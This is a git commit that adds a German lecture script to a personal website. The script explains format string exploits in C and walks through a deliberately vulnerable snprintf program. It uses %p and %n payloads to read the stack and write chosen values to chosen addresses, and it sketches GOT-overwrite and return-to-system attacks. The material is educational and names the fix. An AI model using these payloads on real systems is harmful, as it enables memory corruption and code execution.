From 23f0e1561767dd8a396188e317bae5920d171ea8 Mon Sep 17 00:00:00 2001 From: erdgeist Date: Sun, 16 Aug 2015 16:38:25 +0200 Subject: Initial import of my nikola website --- stories/poetry/MeinVortrag/Vortrag-FormatStrings | 367 +++++++++++++++++++++++ 1 file changed, 367 insertions(+) create mode 100644 stories/poetry/MeinVortrag/Vortrag-FormatStrings (limited to 'stories/poetry/MeinVortrag/Vortrag-FormatStrings') diff --git a/stories/poetry/MeinVortrag/Vortrag-FormatStrings b/stories/poetry/MeinVortrag/Vortrag-FormatStrings new file mode 100644 index 0000000..7d6b591 --- /dev/null +++ b/stories/poetry/MeinVortrag/Vortrag-FormatStrings @@ -0,0 +1,367 @@ +Format String Exploits: + +Heisst grundsaetzlich, die Eigenschaft der +f/s(n)printf/scanf - Funktionsfamilie +auszunutzen, dass sie eine va_args-liste +zum Uebergeben der Parameter und einen +String zum Beschreiben der Anzahl und Art +der Parameter benutzt. + +syntax: + + printf( char *format, param1, param2, ... ) + +Wenn man einen C-Kurs mitmacht, wird einem +vermittelt, dass man in den Formatstring +eintragen soll, welche Paramater die printf +Funktion bekommen wird und wenn es +Inkonsistenzen zwischen dem Formatstring und +den Paramtern gibt, stuerzt das Programm ab. +Und genau an der Stelle beginnt der spannende +Part: wenn ein Programm abstuerzt, +wurde sicher Speicher der Applikation ueber- +schrieben und Ziel des Spiels ist es nun, zu +versuchen, gezielt Speicher mit uns geneigten +Werten zu ueberschreiben. Und unter uns: sooo +schnell schiesst man ein Programm nicht ab :) +Also schauen wir uns mal einen validen Aufruf +der Funktion an: + +int main( ) { + int a, b; + a = 7; + b = 9; + + printf( "%d %d\n", a, b ); + return 0; +} + +In optimiertem Assembler sieht das so aus: + +.LC0: + .string "%d %d\n" +main: + [ ... ] + pushl $9 + pushl $7 + pushl $.LC0 + call printf + [ ... ] + +Dort steht, dass erst b und a auf den Stack +geschoben werden, danach die Adresse des +Formatstrings und schliesslich printf aufgerufen +wird. + +In C ist es generell nicht der Fall, dass +Funktionen ueber die Parameter informiert werden, +die sie auf dem Stack erhalten, das geben sie +naemlich beim Compilen an und erwarten dann auf +dem Stack auch genau diese Parameter vorzufinden. + +Einzige Ausnahme bildet ein Konstrukt namens +va. Das bedeutet "Varibale Argumentenliste". Die +Funktion printf arbeitet dann auch wie folgt: + +int printing( const char *fmt, ...) { + va_list ap; + char output[1024]; + + va_start(ap, fmt); + + while( *fmt ) { + if( *fmt != '%' ) { + putc( *fmt++ ); + } else { /* Parameter substituieren */ + switch( *++fmt ) { + case 'd': + int a = va_arg( ap, int ); + /* Zahl a ausgeben */ + break; + case 's': + char *s = va_arg( ap, char *); + /* String ausgeben */ + .... + } + } + + va_end(ap); +} + +Hinter der ganzen vargs Magie verbergen sich aber +nur diese drei (jetzt mal von mir leicht +vereinfachten) Makros: + +#define va_start(ap, var) ((ap) = (va_list)&var) + +#define va_arg(ap, type) *(((type *)ap++)) + +#define va_end(ap) + +In Wirklichkeit wird da noch ein wenig am Alignment +der Variablen geschraubt, aber im Groben stellt dies +schon dar, wie variable Argumentlisten behandelt +werden: printf holt einfach vom Stack ab, egal, ob da +was drauf steht, oder nicht. + +Was drauf stehen tut aber immer, naemlich Ruecksprung- +adressen und der Stack der aufrufenden Funktionen. +Und das koennen wir uns mal angucken: + +int main( ) { + int a = 0x23232323; + + printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); + return 0; +} +Liefert einen output von: + +0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 + +Und gugge da: wir erkennen doch da glatt unser +nicht ganz zufaellig gewaehltes a wieder. + +%p ist der Bezeichner fuer einen ganz normalen +pointer, also 4 bytes, die vom Stack geholt +und in der 0xn Notation angezeigt werden. + +Aber printf kann mehr: + +int a; + +printf ( "Ich bin 23 Zeichen lang%n\n", &a); +printf ( "Und printf hat's gezaehlt: %d", a); + +Liefert als Ausgabe: + +Ich bin 23 Zeichen lang +Und printf hat's gezaehlt: 23 + +Was ist passiert? Printf erwartet bei einem %n, dass +auf dem Stack der Zeiger auf ein int liegt, in das +er die Anzahl der in diesem Funktionsaufruf +ausgegebnen Zeichen schreibt. Nicht auszumalen, was +passiert, wenn auf dem Stack gar keine solide Adresse +liegt :) + +Printf bietet uns also einen ganz soliden Weg, den +Stack zu inspizieren und aktiv Speicher zu veraendern. +Bliebe die Frage, warum sollte uns ein Programm den +Weg ebnen, den Formatstring selbst zu waehlen. Da gibt +es zwei Erklaerungen: +1. bieten einige Programme fuer formatierte Textausgabe + dem Benutzer an, selber Formatstrings anzugeben. + Dies ist aber nicht so spannend, da der String + meist sehr genau geprueft wird, allerdings gibt es + einen exploit fuer den Mail-Reader mutt, der genau + ueber einen solchen Formatierungsstring anfaellig + war +2. Ist es dem printf egal, ob man ihm nun wirklich einen + Zeiger auf den Formatstring gegeben hat, oder den + Zeiger auf IRGENDEINEN String, der ausgegeben werden + soll. Typischer BASIC Programmierstil ist: + + A = "Hallo" + PRINT A + + in C: + + char *a = "Hallo"; + printf( a ); + + funktioniert auch hervorragend, solange der String + a keine printf - control characters, naemlich "%"'s + enthaelt. + +Genug der Theorie, in der Praxis sieht sowas dann ganz +schlicht so aus: + +int main( int argc, char **argv ) { + char buffer[ 256 ]; + + snprintf( buffer, sizeof buffer, argv[1] ); + + return 0; +} + +Man beachte, dass der Programmierer sich grosse Muehe +gegeben hat, buffer-overflows zu vermeiden, indem er +sichere Variante von sprintf, das snprintf benutzt hat, +damit auch wirklich maximal 32 bytes in den Buffer +gelangen. Allerdings hat er beim String, der geschrieben +werden soll, geschlampt: die Zeile muesste richtig lauten + + snprintf( buffer, sizeof buffer, "%s", argv[1] ); + +Nun, was tut dieses Funktion? Schreibt in den Buffer mit +maximal 32 Zeichen den String argv[1], also das erste +Kommandozeilenargument der Funktion. Aber tut es das auch +wirklich? Nur, wie gesagt, solange im String keine '%' +stehen, aber solche Zeichen in die Kommandozeile einzu- +tippern kriegen wir doch noch hin :) + +Es gibt noch das kleine Problem, dass der Printf halt in +einen Buffer und nicht auf den Screen schreibt, das laesst +sich aber leicht loesen, indem wir entweder einen Debugger +benutzen, um den Inhalt des Buffers auszulesen, oder ein- +fach wieder printf dafuer benutzen, sieht dann so aus: + +int main( int argc, char **argv ) { + int test = 0x23232323; + char buffer[ 256 ]; + + printf( "test auf: %p\n", &test ); + printf( "test enthaelt: %x\n\n", test); + + snprintf( buffer, sizeof buffer, argv[1] ); + + printf( "%s\n", buffer); + printf( "test enthaelt: %x\n\n", test); + + return 0; +} + +Ich habe nun noch eine Variable eingefuegt, an der wir +ein wenig rumspielen wollen: Dessen Adresse wuerde man +wieder mit einem debugger herausfinden, hier benutz ich +printf, auch den aktuellen Wert geb ich einmal vor und +einmal nach der "Attacke" aus. +Das compilete Programm wirft mir folgendes raus: + +# ./vuln Probierung +test auf: 0xbfbff6d4 +test enthaelt: 0x23232323 + +Probierung +test enthaelt: 0x23232323 + +Nuescht besonderes. Probieren wir nun mal ein bisschen +mit den Formatstrings rum: + +# ./vuln "AAAA%p %p %p %p %p %p %p %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666 +test enthaelt: 0x23232323 + +Als erstes sehen wir, dass sich die Adressse von test +(das sich ja im Stack befindet) variiert. Das liegt +daran, dass die Kommandozeilenparameter im Stack abgelegt +werden. Wir koennen aber mit Anfuerungszeichen und vielen +Spaces ueber die gesamte Testphase fuer einen konstanten +offset sorgen. +Zweitens liegt, wie eben erwaehnt, auch der Format-String +nocheinmal im Stack weiter oben rum, die 0x41414141 sind +unsere AAAA in der Kommandozeile. + +Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin +entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer +weniger und tun dafuer ein %n hin: + +# ./test "AAAA%p %p %p %p %p %p%n %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +Segmentation fault (core dumped) + +Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt +nicht mit den Formatstrings rum. Aber was genau hab ich jetzt +kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n +vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau +bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als +naechstes 0x41414141. Und dieser Wert wird ja nun bei einem +%n als Adresse einer int interpretiert, an die der aktuelle +Character-Count geschrieben werden soll. Und an 0x41414141 +befindet sich kein lesbarer Speicher. Also kein Geheimnis. +Aber wer jetzt einen Exploit entdeckt hat, soll sich mal +melden. Genau... die 0x41414141 kommt ja direkt aus unserem +Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege +da jetzt naeher, dort mal eine valide Adresse hinzuschreiben? +Wir haetten da sogar noch eine ueber: +0xbfbff6c0 +Da liegt naemlich die Variable test und es ist sogar eine int. +Als String sieht die Adresse so aus: Àö¿¿ +Ungewoehnlich, aber wat solls, solange kein % und kein \000 +dabei ist, soll uns das nicht stoeren :) +Wir probieren das einfach mal aus: + +# ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p" +test auf: 0xbfbff6c0 +test enthaelt: 0x2323232323 + +Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666 +test enthaelt: 0x42 + +An der Stelle, wo da zwei Leerzeichen hintereinander sind, +wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt +0x42. + +Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum +Doppelleerzeichen 66 ausgegebene Characters. + +Wir haben es also geschafft, an eine beliebige Adresse einen +leider noch einigermassen zufaelligen Wert zu schreiben, das +soll sich jetzt aendern. Was wir brauchen, ist eine wohl- +bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden. +Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen, +damit wir mit ihnen rechnen koennen. Dat jeht so: + +# ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p " +test auf: 0xbfbff6c0 +test enthaelt: 0x23232323 + +Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666 +test enthaelt: 0x3D + +und mit der letzten koennen wir noch ein wenig spielen: + +./test "°ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n " +test auf: 0xbfbff6b0 +test enthaelt: 0x23232323 + +°ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337 +test enthaelt: 0x42424242 + +Ich musste fuer die grossen Zahlen leider noch ein wenig an der +Adresse von test rumspielen, aber im Prinzip ist zu erkennen, +dass ich an jede Adresse jeden Wert schreiben kann. Was habe +ich getan? Man kann fuer Zahlenkonvertierungen in printf eine +width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt +wird, wenn die Zahl nicht breit genug wird. Und das koennen nu +auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man +auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn +man mal eine valide Adresse wohin schreiben will. Und netterweise +liefert printf nun auch nicht die Zahl der geschriebenen Zeichen, +sondern die der "theoretisch" geschriebenen in %n zurueck, was +dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen... + +Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen, +man uebergibt diesen einfach mit im Formatstring und kann die +Einsprungadresse punktgenau auf den Stack werfen. Waere aber +eigentlich eine Schande, denn Formatstringexploits sind so fili- +gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen +return adressen eigentlich nur raten. + +Viel eleganter ist es, die GOT des binaries zu veraendern. +Dies ist die global object table, und dort hinein kommen fuer +alle Funktionen, die aus Libraries eingebunden werden, die +Adressen. Der Vorteil ist, dass bei fast allen Standard- +anwendungen die GOT ungefaehr gleich aussieht. Wenn man die +Adresse des fopen-calls einfach mit der des system-calls ueber- +schreibt, koennte man einen Teil des formatstrings glatt von +einer Shell interpretieren lassen. + +Dies ist insoweit im Moment spannend, da ernsthaft damit ange- +fangen wird, den Stack non-executable zu mappen und damit buffer +overflows und darin befindlicher Shellcode zu verhindern. + +Dies liesse noch Spielraum fuer eine weitere Option, naemlich +die Ruecksprungadresse der printf-aufrufenden Funktion zu +ueberschreiben und zwar mit der Einsprungadresse von system, +wenn man davor eine Adresse irgendwo im eigenen Formatstring +hinpackt, kann man den Formatstring wie folgt gestalten: + +"/../../../../../../../../../bin/sh" + +die ../'s sind naemlich eigentlich auch NOPs. -- cgit v1.2.3